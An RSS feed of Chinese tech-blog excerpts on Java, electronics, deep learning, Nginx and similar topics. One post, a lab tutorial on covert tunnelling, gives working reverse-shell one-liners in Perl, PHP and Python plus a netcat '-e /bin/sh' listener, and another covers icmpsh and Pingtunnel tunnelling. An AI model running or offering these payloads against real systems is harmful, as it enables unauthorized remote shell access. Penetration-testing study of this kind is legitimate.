      <guid>https://bchobby.github.io/posts/c13f8f7dd634d30ac9d4a9a7fc4275b9/</guid>
      <description>**&#xA;定义一个Person类{name,age,job},初始化Person对象数组，有三个person对象，并按照age从小到大进行排序，使用冒泡排序 public class DemoA { public static void main(String[] args) { Person person[] = new Person[3]; person[0] = new Person(&#34;张三&#34;, 19, &#34;经理&#34;); person[1] = new Person(&#34;李四&#34;, 18, &#34;董事长&#34;); person[2] = new Person(&#34;马六&#34;, 34, &#34;职工&#34;); //输出当前对象数组 for (int i = 0; i &amp;lt; person.length; i++) { System.out.println(person[i]); } //使用冒泡排序 Person temp = null;// 临时变量,用于交换 for (int i = 0; i &amp;lt; person.length - 1; i++) {//外层循环 for (int j = 0; j &amp;lt; person.</description>
    </item>
    <item>
      <title>隔离电源和非隔离电源的区别，</title>
      <link>https://bchobby.github.io/posts/72c5875b203b4f3e559ccd77ac452982/</link>
      <pubDate>Sat, 09 Apr 2022 07:11:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72c5875b203b4f3e559ccd77ac452982/</guid>
      <description>转载---8号线攻城狮 2021-05-28 11:00 在产品设计时，倘若没有考虑应用环境对电源隔离的要求，产品到了应用时就会出现因设计方案的不当导致的系统不稳定，甚至出现高压损坏后级负载的情况，以及出现危害人身财产安全的情况。因此产品设计是否需要隔离至关重要。&#xA;“某公司员工在手机充电时打电话被电死”的新闻在网上引起广泛关注。充电器也能能危害生命？专家分析手机充电器内部变压器漏电，220VAC的交流电漏电到直流端，并通过数据线传导到了手机金属壳上，最终导致触电身亡，发生无可挽回的悲剧。&#xA;那么手机充电器输出端为什么会带有220V的交流电呢？隔离电源的选型要注意哪些事项？如何区分电源是隔离与非隔离？业内通用的看法是： 1、隔离电源：电源的输入回路和输出回路之间没有直接的电气连接，输入和输出之间是绝缘的高阻态，没有电流回路，如图1所示：&#xA;图1 采用变压器的隔离电源&#xA;2、非隔离电源：输入和输出之间有直接的电流回路，例如，输入和输出之间是共地的。以隔离的反激电路和非隔离的BUCK电路为例，如图2所示。 图2 非隔离电源 一、隔离电源与非隔离电源的优缺点&#xA;由上述概念可知，对于常用的电源拓扑而言，非隔离电源主要有：Buck、Boost、Buck-Boost等;而隔离电源主要有各种带隔离变压器的反激、正激、半桥、LLC等拓扑。&#xA;结合常用的隔离与非隔离电源，我们从直观上就可得出它们的一些优缺点，两者的优缺点几乎是相反的。&#xA;使用隔离或非隔离的电源，需了解实际项目对电源的需求是怎样的，但在此之前，可了解下隔离和非隔离电源的主要差别：&#xA;①隔离模块的可靠性高，但成本高，效率差点。&#xA;②非隔离模块的结构很简单，成本低，效率高，安全性能差。&#xA;因此，在如下几个场合，建议用隔离电源：&#xA;①涉及可能触电的场合，如从电网取电，转成低压直流的场合，需用隔离的AC-DC电源；&#xA;②串行通信总线通过RS-232、RS-485和控制器局域网(CAN)等物理网络传送数据，这些相互连接的系统每个都配备有自己的电源，而且各系统之间往往间隔较远，因此，我们通常需要隔离电源进行电气隔离来确保系统的物理安全，且通过隔离切断接地回路，来保护系统免受瞬态高电压冲击，同时减少信号失真；&#xA;③对外的I/O端口，为保证系统的可靠运行，也建议对I/O端口做电源隔离。&#xA;总结的表如表1所示，两者的优缺点几乎是相反的。&#xA;表1 隔离电源和非隔离电源的优缺点&#xA;二、隔离电源与非隔离电源的选择&#xA;通过了解隔离与非隔离电源的优缺点可知，它们各有优势，对于一些常用的嵌入式供电选择，我们已可做成准确的判断：&#xA;①系统前级的电源，为提高抗干扰性能，保证可靠性，一般用隔离电源。&#xA;② 电路板内的IC或部分电路供电，从性价比和体积出发，优先选用非隔离的方案。&#xA;③ 对安全有要求的场合，如需接市电的AC-DC，或医疗用的电源，为保证人身的安全，必须用隔离电源，有些场合还必须用加强隔离的电源。&#xA;④ 对于远程工业通信的供电，为有效降低地电势差和导线耦合干扰的影响，一般用隔离电源为每个通信节点单独供电。&#xA;⑤ 对于采用电池供电，对续航力要求严苛的场合，采用非隔离供电。&#xA;通过了解隔离与非隔离电源的优缺点可知，它们各有优势，对于一些常用的嵌入式供电设计，我们可总结出其选择的场合。&#xA;1、隔离电源 系统前级的电源，为提高抗干扰性能，保证可靠性，一般用隔离电源；&#xA;对安全有要求的场合，如需接市电的AC-DC，或医疗用的电源和白色家电，为保证人身的安全， 必须用隔离电源，如MPS的MP020，为原边反馈隔离型AC-DC，适合于1~10W应用 ；&#xA;对于远程工业通信的供电，为有效降低地电势差和导线耦合干扰的影响，一般用隔离电源为每个通信节点单独供电。&#xA;2、非隔离电源&#xA;电路板内的IC或部分电路供电，从性价比和体积出发，优先选用非隔离的方案；如MPS的MP150/157/MP174系列buck型非隔离AC-DC，适合于1~5W应用；&#xA;对于工作电压低于36V，采用电池供电，对续航力要求严苛的场合，优先采用非隔离供电，如MPS的MP2451/MPQ2451。&#xA;隔离电源与非隔离电源优缺点&#xA;通过了解隔离与非隔离电源的优缺点可知，它们各有优势，对于一些常用的嵌入式供电选择，我们可遵循以下判断条件：&#xA;对安全有要求的场合，如需接市电的AC-DC，或医疗用的电源，为保证人身的安全，必须用隔离电源，有些场合还必须用加强隔离的电源。&#xA;一般场合使用对模块电源隔离电压要求不是很高，但是更高的隔离电压可以保证模块电源具有更小的漏电流，更高的安全性和可靠性，并且EMC特性也更好一些，因此目前业界普遍的隔离电压水平为1500VDC以上。&#xA;三、隔离电源模块选型的注意事项&#xA;电源的隔离耐压在GB-4943国标中又叫抗电强度，这个GB-4943标准就是我们常说的信息类设备的安全标准，就是为了防止人员受到物理和电气伤害的国家标准，其中包括避免人受到电击伤害、物理伤害、爆炸等伤害。如下图为隔离电源结构图。 隔离电源结构图&#xA;作为模块电源的重要指标，标准中也规定了隔离耐压相关测试方法，简单的测试时一般采用等电位连接测试，连接示意图如下：&#xA;隔离耐压测试示意图&#xA;测试方法：&#xA;将耐压计的电压设为规定的耐压值，电流设为规定的漏电流值，时间设为规定的测试时间值；&#xA;操作耐压计开始测试，开始加压，在规定的测试时间内，模块应无击穿，无飞弧现象。&#xA;注意在测试时焊接电源模块要选取合适的温度，避免反复焊接，损坏电源模块。&#xA;除此之外还要注意：&#xA;1、要注意是AC-DC还是DC-DC。&#xA;2、隔离电源模块的隔离耐压。例如隔离1000V DC 是否满足绝缘要求。&#xA;3、隔离电源模块是否有进行全面的可靠性测试。电源模块要经过性能测试、容差测试、瞬态条件测试、可靠性测试、EMC电磁兼容测试、高低温测试、极限测试、寿命测试、安规测试等。&#xA;4、隔离电源模块的生产工厂产线是否规范。电源模块生产线需要通过ISO9001, ISO14001，OHSAS18001等多项国际认证，如下图3所示。&#xA;图3 ISO认证</description>
    </item>
    <item>
      <title>深度学习(吴恩达)知识总结</title>
      <link>https://bchobby.github.io/posts/bb31accdb00160820cb87b351bb3e08d/</link>
      <pubDate>Fri, 08 Apr 2022 23:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb31accdb00160820cb87b351bb3e08d/</guid>
      <description>深度学习 logistic回归Python中的技巧神经网络激活函数深层神经网络梯度的数值逼近Mini-batch 梯度下降动量梯度下降指数加权平均动量梯度下降公式 RMSpropAdam优化算法学习率衰减调试处理batch归一化Softmax激活函数分类Tensorflow卷积神经网络padding卷积步长三维卷积(可用于RGB图像)多核卷积(垂直、水平)单层卷积神经网络池化层 图像增强非极大值抑制Yolo算法步骤 logistic回归 y ^ = σ ( w T x + b ) \hat{y}=\sigma(w^Tx+b) y^​=σ(wTx+b),where σ ( z ) = 1 1 + e − z \sigma(z)=\frac{1}{1+e^{-z}} σ(z)=1+e−z1​&#xA;cost function: J ( w , b ) = 1 m ∑ i = 1 m L ( y ^ , y ( i ) ) = − 1 m ∑ i = 1 m [ y ( i ) l o g y ^ ( i ) + ( 1 − y ( i ) ) l o g ( 1 − y ^ ( i ) ) ] J(w,b)=\frac{1}{m}\sum_{i=1}^{m}\mathscr{L}(\hat{y},y^{(i)})=-\frac{1}{m}\sum_{i=1}^{m}[y^{(i)}log\hat{y}^{(i)}+(1-y^{(i)})log(1-\hat{y}^{(i)})] J(w,b)=m1​∑i=1m​L(y^​,y(i))=−m1​∑i=1m​[y(i)logy^​(i)+(1−y(i))log(1−y^​(i))]</description>
    </item>
    <item>
      <title>标准库：csv --- CSV 文件读写</title>
      <link>https://bchobby.github.io/posts/d324b887c24168705843d7940c8561a7/</link>
      <pubDate>Fri, 08 Apr 2022 21:42:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d324b887c24168705843d7940c8561a7/</guid>
      <description>CSV (Comma Separated Values) 格式是电子表格和数据库中最常见的输入、输出文件格式。&#xA;csv 模块实现了 CSV 格式表单数据的读写。其提供了诸如“以兼容 Excel 的方式输出数据文件”或“读取 Excel 程序输出的数据文件”的功能，程序员无需知道 Excel 所采用 CSV 格式的细节。&#xA;csv 模块中的 reader 类和 writer 类可用于读写序列化的数据。也可使用 DictReader 类和 DictWriter 类以字典的形式读写数据。&#xA;csv 模块定义了以下函数： csv.reader(csvfile, dialect=&#39;excel&#39;, **fmtparams)&#xA;返回一个 reader 对象，该对象将逐行遍历 csvfile。&#xA;如果 csvfile 是文件对象，则打开它时应使用 newline=&#39;&#39;。&#xA;可选参数 dialect 是用于不同的 CSV 变种的特定参数组。它可以是 Dialect 类的子类的实例，也可以是 list_dialects() 函数返回的字符串之一。&#xA;另一个可选关键字参数 fmtparams 可以覆写当前变种格式中的单个格式设置。请参见 变种与格式参数 部分。&#xA;import csv file = open(&#39;csvDemo.csv&#39;, newline=&#39;&#39;) csvReader = csv.reader(file, delimiter=&#39; &#39;, quotechar=&#39;|&#39;) for row in csvReader: for ceil in row: print(ceil) file.</description>
    </item>
    <item>
      <title>断点调试知识点</title>
      <link>https://bchobby.github.io/posts/fe3c9656948ddabd662f7c2c3a42d981/</link>
      <pubDate>Fri, 08 Apr 2022 21:01:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe3c9656948ddabd662f7c2c3a42d981/</guid>
      <description>文章目录 1.断点调试的介绍2.断点调试的快捷键3.如何断点?4.断点调试各个功能 1.断点调试的介绍 1. 断点调试就是在程序的某一行设置一个断点，调试时，程序运行到这一行就会停住，然后你可以一步一步的往下调试，调试过程中可以看到各个变量的值，出错的话，调试到出错的代码行即显示错误，进而分析从而找到这个bug。&#xA;2.断点调试是程序员必备的技能&#xA;3.可以帮助我们查看java底层源码，提高程序员的水平。&#xA;2.断点调试的快捷键 F7：跳入方法内；F8：逐行执行代码块； shift+F8跳出方法；&#xA;3.如何断点? 单击鼠标左键点击想要断点的行数&#xA;4.断点调试各个功能 如图所示:</description>
    </item>
    <item>
      <title>Java：Post请求无法获取传进来的参数解决方案</title>
      <link>https://bchobby.github.io/posts/45cfe8132259d6d96160864054ec0ae9/</link>
      <pubDate>Fri, 08 Apr 2022 17:54:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45cfe8132259d6d96160864054ec0ae9/</guid>
      <description> 我是 ABin-阿斌：写一生代码，创一世佳话，筑一览芳华。 如果小伙伴们觉得我的文章不错，记得一键三连，感谢~&#xA;文章目录 问题：解决方案： 问题： 最近在测试一个接口的时候出现了一个参数不管怎么传都进去的问题，巨坑！！！一开始我以为是参数名写错了，我又复制了一遍没有问题。结果用 postman 请求还是不行，后面又debug拦截异常捕获的代码。搞了好久，各种重启、清楚缓存，还是没解决这问题。后面才发现原来是这个 @RequestBody 包引入成了 Swagger 的了，真的太坑了！！！这个问题，不细心真的发现不了！具体错误和接口可看下面图片 解决方案： 将 @RequestBody 包引入正确即可 </description>
    </item>
    <item>
      <title>请求头有问题导致Nginx返回400状态码</title>
      <link>https://bchobby.github.io/posts/aa6f13a1d4627fa4dba889e33bbb0a60/</link>
      <pubDate>Fri, 08 Apr 2022 17:15:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa6f13a1d4627fa4dba889e33bbb0a60/</guid>
      <description>背景 上个星期有人找我看了Nginx的问题，场景是这样的，用户访问一个网址，这个网址有一个按钮，点击这个按钮后会跳转到新的页面，但这个跳转，有时候可以，有时候不可以——不可以的时候页面显示400状态码（开发反馈，同一个手机，不同浏览器，有的可以有的不可以；同一个手机，同一个浏览器，不同网络，有的可以，有的不可以）&#xA;问题排查 使用nginx日志排查问题 开发的手上有Nginx的access日志，通过查看返回400状态码的日志，我们发现日志显示进来的请求没有携带Host头的，而HTTP协议规定必须携带Host头，否则Nginx会直接抛出400 Bad Request。那么，问题的原因就是进来的请求没有携带Host头吗？并没有那么简单&#xA;分析抓包数据 一般来说，发出的请求不带Host是比较少见的，而且这个访问有时正常有时不正常，所以我们怀疑原因不是这个，要定位到问题原因，需要更多的数据进行分析。我们通常是在部署Nginx的Linux服务器上，使用tcpdump命令进行抓包，然后将抓到的包下载到本地的windows机器，使用wireshark工具进行分析。找到返回400状态码的Http流，查看请求头——（由于是在内网环境执行的操作，这些信息只能通过文字描述了），发现Host头是有的，并不像nginx的access日志所显示的没有Host头，那么为什么nginx没有识别到Host头呢？&#xA;原因分析 我们通过抓到的包，里面有正常请求和返回400的请求，经过比较，发现是其中一个请求头Refer不一样，并且返回400的请求的Refer在末尾携带了不可见字符（/000/000类似这样），我猜是因为这些字符，导致nginx对请求头都解析失败了，没有解析到Host头，于是就返回了400。&#xA;解决措施 联系相关的应用开发检查为什么会出现携带不可见字符的Refer并改正&#xA;总结 排查问题的时候，我们看到的原因可能不是根本原因，我们需要进一步获取原始数据、复现问题，经过对比和思考，定位根本原因并解决它&#xA;如果你对本文章有建议或疑问，欢迎在下面进行留言，一起交流&#xA;我是Vapire，一个普通的全栈开发。&#xA;以开发的角度看问题，用开发的方式学知识。&#xA;参考&#xA;鲜为人知的HTTP协议头字段详解大全 - 知乎 (zhihu.com)&#xA;Linux系统 tcpdump 抓包命令使用教程 - 知乎 (zhihu.com)&#xA;网络分析工具——WireShark的使用（超详细）_世间繁华梦一出的博客-CSDN博客_网络分析工具</description>
    </item>
    <item>
      <title>宝藏又小众的球形物体Flash动画素材网站分享</title>
      <link>https://bchobby.github.io/posts/26eb2f37d53c19f40911783fea5bdbc0/</link>
      <pubDate>Fri, 08 Apr 2022 15:19:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/26eb2f37d53c19f40911783fea5bdbc0/</guid>
      <description>球形物体Flash动画素材素材，我常用的这个网站就挺好的，免费下载，资源多，品质优，而且资源类型都很齐全，要是大家需要可以看一下，真的不骗人！一键打包下载，快捷方便!&#xA;免费资源最多，又全面的网站，我找到啦！！它有很多素材，成品类的，元素类的，应有尽有。我刚找到这个网站的时候真的非常惊喜，非常良心的网站。&#xA;为大家整理了Flash动画-球形物体Flash动画素材合集&#xA;为了方便大家更快的找到资源，小编给大家指引路线：&#xA;搜索【爱给网】，进入网站后-点击-平面-资源库-Flash动画栏目，然后再点击动画素材-球形物体分类，这样就能找到啦！&#xA;接下来就让小编为大家详细推荐几个吧，都是我自己用过的哦，要是没有适合你的，你就去找找哦，好素材总是要自己发现滴&#xA;1、云层和月亮flash矢量动画&#xA;2、太阳升起flash日出片头&#xA;3、绿色草地蓝天太阳flash动画&#xA;球形物体Flash动画素材素材，我常用的这个网站就挺好的，免费下载，资源多，品质优，而且资源类型都很齐全，要是大家需要可以看一下，真的不骗人！一键打包下载，快捷方便!&#xA;免费资源最多，又全面的网站，我找到啦！！它有很多素材，成品类的，元素类的，应有尽有。我刚找到这个网站的时候真的非常惊喜，非常良心的网站。&#xA;为大家整理了Flash动画-球形物体Flash动画素材合集&#xA;为了方便大家更快的找到资源，小编给大家指引路线：&#xA;搜索【爱给网】或者访问【aigei点com】，进入网站后-点击-平面-资源库-Flash动画栏目，然后再点击动画素材-球形物体分类，这样就能找到啦！&#xA;接下来就让小编为大家详细推荐几个吧，都是我自己用过的哦，要是没有适合你的，你就去找找哦，好素材总是要自己发现滴&#xA;1、云层和月亮flash矢量动画&#xA;2、太阳升起flash日出片头&#xA;3、绿色草地蓝天太阳flash动画&#xA;4、模仿太空特效flash动画素材&#xA;5、汽车马路上奔跑flash动画&#xA;6、小女孩绕地球旋转flash动画&#xA;7、各种白云天气相关flash素材&#xA;8、彩色地球转动flash矢量素材&#xA;9、as2实现flash逼真水泡上升&#xA;10、浅绿色半透明地球flash动画&#xA;11、早上太阳升起flash动画&#xA;12、可爱笑脸太阳flash素材&#xA;13、日出日落flash动画素材&#xA;14、梦幻的彩色灯光flash动画&#xA;15、海底水泡向上浮动flash动画&#xA;今天就分享到这啦！有帮助到你记得点赞哦~小编专注推荐、测评国内外各种素材网站，有需要的关注不迷路！&#xA;4、模仿太空特效flash动画素材&#xA;5、汽车马路上奔跑flash动画&#xA;6、小女孩绕地球旋转flash动画&#xA;7、各种白云天气相关flash素材&#xA;8、彩色地球转动flash矢量素材&#xA;9、as2实现flash逼真水泡上升&#xA;10、浅绿色半透明地球flash动画&#xA;11、早上太阳升起flash动画&#xA;12、可爱笑脸太阳flash素材&#xA;13、日出日落flash动画素材&#xA;14、梦幻的彩色灯光flash动画&#xA;15、海底水泡向上浮动flash动画&#xA;今天就分享到这啦！有帮助到你记得点赞哦~小编专注推荐、测评国内外各种素材网站，有需要的关注不迷路！</description>
    </item>
    <item>
      <title>java切换数据源（多数据源）</title>
      <link>https://bchobby.github.io/posts/2c20851a17b25071e96afb1855033bd4/</link>
      <pubDate>Fri, 08 Apr 2022 10:12:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c20851a17b25071e96afb1855033bd4/</guid>
      <description>现在要在一个服务里设置两个数据源：oracle和mysql&#xA;1.需要写配置文件：&#xA;@Controller主要是加载spring配置类&#xA;@EnableTransactionManagement事务用法，在访问数据库的service中加@Transactional&#xA;@MapperScan指定要变成实现类的接口所在的包，然后包下面的所有接口在编译之后都会生成相应的实现类&#xA;@Configuration @EnableTransactionManagement(order = -200) @MapperScan(&#34;com.csair.mpms.mapper*&#34;) public class MyBatiesPlusConfiguration { // 精确到 master 目录，以便跟其他数据源隔离 static final String MAPPER_LOCATION = &#34;classpath:mapper/*.xml&#34;; /* * 分页插件，自动识别数据库类型 * 多租户，请参考官网【插件扩展】 */ @Bean public PaginationInterceptor paginationInterceptor() { PaginationInterceptor paginationInterceptor = new PaginationInterceptor(); // 开启 PageHelper 的支持 //paginationInterceptor.setLocalPage(true); return paginationInterceptor; } @Bean(name = &#34;masterTransactionManager&#34;) public DataSourceTransactionManager masterTransactionManager() { return new DataSourceTransactionManager(masterDataSource()); } @Bean(name = &#34;masterSqlSessionFactory&#34;) @Primary public SqlSessionFactory masterSqlSessionFactory(@Qualifier(&#34;masterDataSource&#34;) DataSource masterDataSource) throws Exception { final MybatisSqlSessionFactoryBean sessionFactory = new MybatisSqlSessionFactoryBean(); sessionFactory.</description>
    </item>
    <item>
      <title>删除整形数组中最小值(C语言)</title>
      <link>https://bchobby.github.io/posts/4f69a9863c070c05a00001a3132a7dfe/</link>
      <pubDate>Fri, 08 Apr 2022 08:10:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f69a9863c070c05a00001a3132a7dfe/</guid>
      <description>请编写一道程序,该程序的功能是找出并且删除一维整形数组a[100]中的最小值元素.要求如下:&#xA;1.数组个元素通过键盘输入获得初始值.&#xA;2. 所有对数组元素的引用必须通过指针完成&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;limits.h&amp;gt; // 包含极值宏定义 // 1 输入并查找最小值 2.删除最小值 3.输出删除后的效果 int main () { int a[100], *p, i = 0; int min = INT_MAX, min_sub; // min 存储最小值, min_sub存储最小值下标 p = a; // 指针指向数组 do { printf(&#34;请输入第%d个元素:&#34;, i + 1); scanf(&#34;%d&#34;, p + i); if (*(p + i) &amp;lt; min &amp;amp;&amp;amp; *(p + i) != -1) { min = *(p + i); // 存储最小值以及最小值下标 min_sub = i; } } while (*(p + i++) !</description>
    </item>
    <item>
      <title>隐藏通信隧道技术（下）</title>
      <link>https://bchobby.github.io/posts/427f28bbac64f8dbbf64665e5c395770/</link>
      <pubDate>Fri, 08 Apr 2022 00:42:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/427f28bbac64f8dbbf64665e5c395770/</guid>
      <description>目录&#xA;一、传输层隧道技术&#xA;1.Netcat获取shell（反向shell）&#xA;第一种：如果目标主机安装nc&#xA;第二种：目标主机没有安装nc，使用php也可以反弹shell&#xA;第三种：使用Python反弹shell 2.Netcat搭建内网代理获取shell&#xA;Powercat工具的使用 1.powercat获取正向shell&#xA;2.powercat获取反向shell 3..powercat文件传输&#xA;4.powercat做代理&#xA;二、应用层隧道技术&#xA;1.SSH协议隧道技术&#xA;1.环境搭建&#xA;2.ssh常见建立ssh隧道所用到的参数 3.ssh-本地端口转发&#xA;4.ssh-远程端口转发&#xA;5.ssh-动态端口转发&#xA;2.HTTP协议隧道技术&#xA;1.工具：reGeorg: 2.常见参数说明&#xA;3.复现&#xA;3.socks代理&#xA;1.socks简介&#xA;2.socks代理与端口转发的区别&#xA;3.工具：Earthworm（EW） socks二级级联&#xA;多级级联：Lcx_listen、lcx_slave的用法：&#xA;4.压缩数据&#xA;4.1 工具：WINRAR&#xA;5.上传下载&#xA;5.1利用FTP协议上传，需要ftp账户和密码&#xA;5.2利用VBS和VPS上传&#xA;5.3利用bitsadmin下载&#xA;一、传输层隧道技术 1.Netcat获取shell（反向shell） 第一种：如果目标主机安装nc 在本地监听5555端口 在目标主机上输入一下payload Socket;$i=&#34;10.2.1.170&#34;;$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&#34;tcp&#34;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&#34;&amp;gt;&amp;amp;S&#34;);open(STDOUT,&#34;&amp;gt;&amp;amp;S&#34;);open(STDERR,&#34;&amp;gt;&amp;amp;S&#34;);exec(&#34;/bin/sh -i&#34;);};&#39; 在本机查看shell已经反弹 第二种：目标主机没有安装nc，使用php也可以反弹shell 首先还是在本地监听5555端口然后再目标主机输入一下payload php -r &#39;$sock=fsockopen(&#34;10.2.1.170&#34;,5555);exec(&#34;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&#34;);&#39; 然后查看本地主机发现反弹shell成功&#xA;第三种：使用Python反弹shell python3 -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&#34;192.168.3.19&#34;,5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([&#34;/bin/bash&#34;,&#34;-i&#34;]);&#39; 2.Netcat搭建内网代理获取shell 原理：公网服务器（kali2019）将web服务器（kali2021）作为代理访问内网的服务器(windows7)&#xA;首先在自己的服务器监听端口 然后将nc的脚本程序放到目标主机上，然后将shell放到配置好的端口下&#xA;Nc –lvp 5555 –e /bin/sh linux系统</description>
    </item>
    <item>
      <title>el-layout &#43; vxetable 动态高度问题</title>
      <link>https://bchobby.github.io/posts/5d6591328e38abde67c24b41ea9cb483/</link>
      <pubDate>Thu, 07 Apr 2022 23:29:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d6591328e38abde67c24b41ea9cb483/</guid>
      <description> 按比例实现下面布局，且随页面大小高度比率不变&#xA;实现核心，就是对header 、table 、main 的style加上动态高度即可&#xA;height:calc(100vh / 2 - 50px)&#xA;升级版效果图&#xA;使用拆分组件&#xA;//官方文档：https://gitee.com/bi2008/vue-page-split import SplitPane from &#34;vue-page-split&#34;; echar自适应&#xA;//页面改动重新渲染echar window.addEventListener(&#34;resize&#34;, () =&amp;gt; { this.handleCellEvent({ row: this.currentSelectRow }); }); //分割移动重新渲染echar onresizeLineEndMove: function() { console.log(&#34;onresizeLineEndMove&#34;); this.handleCellEvent({ row: this.currentSelectRow }); }, //核心重新触发页面渲染 chart.resize(); </description>
    </item>
    <item>
      <title>javaEE基础 —— 线程的状态和安全</title>
      <link>https://bchobby.github.io/posts/832e2ca3379157bb9cac19069363d734/</link>
      <pubDate>Thu, 07 Apr 2022 22:17:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/832e2ca3379157bb9cac19069363d734/</guid>
      <description>目录&#xA;一、线程的状态&#xA;1.new&#xA;2.terminated&#xA;3.runnable 4.timed_waiting&#xA;5.blocked 6.waiting&#xA;二、线程安全&#xA;1.线程安全的概念&#xA;2.线程不安全的原因&#xA;一、线程的状态 先前，我们大概介绍了一下线程的两个状态：阻塞和就绪。严格来说线程并不只有这两种状态，上述的两种状态是在系统层面上的线程状态，在Java中，尤其是Thread类之中一共将线程的状态表分成了六种。&#xA;1.new 当Thread对象创建好了，但线程并未执行 示例代码：&#xA;public static void main(String[] args) { Thread t = new Thread(() -&amp;gt; { }); System.out.println(t.getState()); } 运行结果：&#xA;2.terminated 线程已经运行结束，但是Thread对象还在&#xA;示例代码：&#xA;public static void main(String[] args) { Thread t = new Thread(() -&amp;gt; { }); t.start(); try { t.join(); } catch (InterruptedException e) { e.printStackTrace(); } System.out.println(t.getState()); } 运行结果： 需要注意的是，上述两个状态是Java自身定义的，和操作系统中的PCB状态没有关系。&#xA;3.runnable 这就是我们时常说的就绪状态，这时线程有两种情况：&#xA;1.正在被执行&#xA;2.没有被调度执行，但随时可以去调度它</description>
    </item>
    <item>
      <title>单片机(STM32)内部RC振荡器误差时间到底有多少</title>
      <link>https://bchobby.github.io/posts/8aae828048a7c0fc3f65b0b9eeafc20d/</link>
      <pubDate>Thu, 07 Apr 2022 21:46:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8aae828048a7c0fc3f65b0b9eeafc20d/</guid>
      <description>此例以STM32单片机为例来进行分析. 定时器每1ms的上下误差是多少us 先看数据表给出的误差值&#xA;可以看出 此单片机内部的高速RC振荡器的标准频率是16Mhz.&#xA;在标称电压不考虑温漂的情况下 误差上下 不超过 1% 即 15.88MHz — 16.08MHz&#xA;而考虑温漂(负温漂)就会高达到2% 即 16*0.02 = 0.32Mhz 即 15.68MHz — 16.32MHz&#xA;那我们就以最大的误差 2%(15.68MHz — 16.32MHz) 来分析 1ms的定时器 误差会有多少us?&#xA;分析之前,我们要先知道当前 单片机定时器的一个计数 需要消耗的周期 是 时钟周期 还是机器周期 还是指令周期&#xA;通常 定时器的 计数周期为 时钟周期 即主频, 以下以时钟周期为例进行分析&#xA;我们假设单片机进行16分频 此时的误差频率为 (0.98MHz — 1.02MHz)&#xA;此时计时 1S 需要进行 980000 ---- 1020000 次的 节拍计数&#xA;计时 1ms 需要进行 980 — 1020 次的 节拍计数&#xA;而1ms = 1000us&#xA;所以 定时1ms的误差 时间为 ±20us 1s的误差为±20ms</description>
    </item>
    <item>
      <title>语义分割评价指标</title>
      <link>https://bchobby.github.io/posts/c98997c069bec729fe1c4621e31e666a/</link>
      <pubDate>Thu, 07 Apr 2022 20:33:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c98997c069bec729fe1c4621e31e666a/</guid>
      <description>语义分割评估标准：&#xA;常用的就是：&#xA;global acc(有的地方叫PA)，mAcc（有的地方貌似叫MPA） ，mIoU&#xA;mIoU貌似用的是最最多的，很多论文在展示结果的时候都只个mIoU 下边这张图看不懂不用慌！&#xA;指标的计算方法（混淆矩阵）：&#xA;1.global acc：&#xA;2.mAcc&#xA;这五个值相加取平均就得到了mAcc&#xA;3.mIoU&#xA;同理这五个iou相加再取平均就得到了mIOU&#xA;总结：&#xA;实际意义：&#xA;miou越大代表你预测出来的分割区域越与真实的标签区域相重合（相似），你的模型越好，我觉得对于mean-acc差不多也是这个道理。&#xA;注意一点的是：有个令人混淆的地方，global acc也叫PA ，mAcc有的地方好像叫MPA，这两个貌似是有点不太一样&#xA;Global Acc（PA）是全局的，就一个，不分类别 。mAcc（MPA）先是有不同类别acc的然后所有类别求和取平均得到mAcc 就是比如一张图：&#xA;PA（global Acc）就是：所有正确的像素数(不管类别)/一张图所有的像素数&#xA;cla-acc =某个类别正确的数/这张图这个类的真实的像素的总数&#xA;cls-iou就是你预测的这个类分割出来的正确区域面积/预测的区域和实际的区域面积之和&#xA;以上是自己做的笔记自己看的，如果有错误的地方，非常非常欢迎大佬们指正！！&#xA;参考：&#xA;http://t.csdn.cn/Fk7u8&#xA;https://www.bilibili.com/video/BV1ev411P7dR/?spm_id_from=333.788.recommend_more_video.0</description>
    </item>
    <item>
      <title>隐藏通信隧道技术(上)</title>
      <link>https://bchobby.github.io/posts/baa346698cfd43b596025af220938cd5/</link>
      <pubDate>Thu, 07 Apr 2022 19:08:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/baa346698cfd43b596025af220938cd5/</guid>
      <description>目录&#xA;一、防火墙的配置&#xA;二、kali虚拟机网卡配置&#xA;三、隐藏隧道技术的基础知识&#xA;1.什么是隧道技术：&#xA;2.检测内网连通性&#xA;3.利用icmp创建隧道&#xA;（1）使用的工具： icmpsh&#xA;（2）工具：Pingtunnel&#xA;4.传输层隧道技术&#xA;4.1使用nc工具创建隧道&#xA;一、防火墙的配置 1..首先进去防火墙，此时我们需要配置符合自己环境的ip&#xA;2. 先配置lan ip&#xA;首先需要输入2，配置ip地址（仅主机）输入子网掩码位数是否需要dhcp服务注意：此时需要配置仅主机模式的ip，如果没有仅主机的网卡就自己手动添加一个 3..然后继续配置wan的ip地址&#xA;使用设置号的lan ip地址在浏览器输入然后输入密码与账号登录 最后点击保存即可&#xA;然后重启防火墙即可&#xA;二、kali虚拟机网卡配置 auto eth0 iface eth0 inet static address 10.2.1.88 netmask 255.255.255.0 gateway 10.2.1.8 auto eth1 iface eth1 inet static address 172.31.1.88 netmask 255.255.255.0 gateway 172.31.1.2 配置kali2019的网卡&#xA;auto eth0 iface eth0 inet static address 10.2.1.170 netmask 255.255.255.0 gateway 10.2.1.1 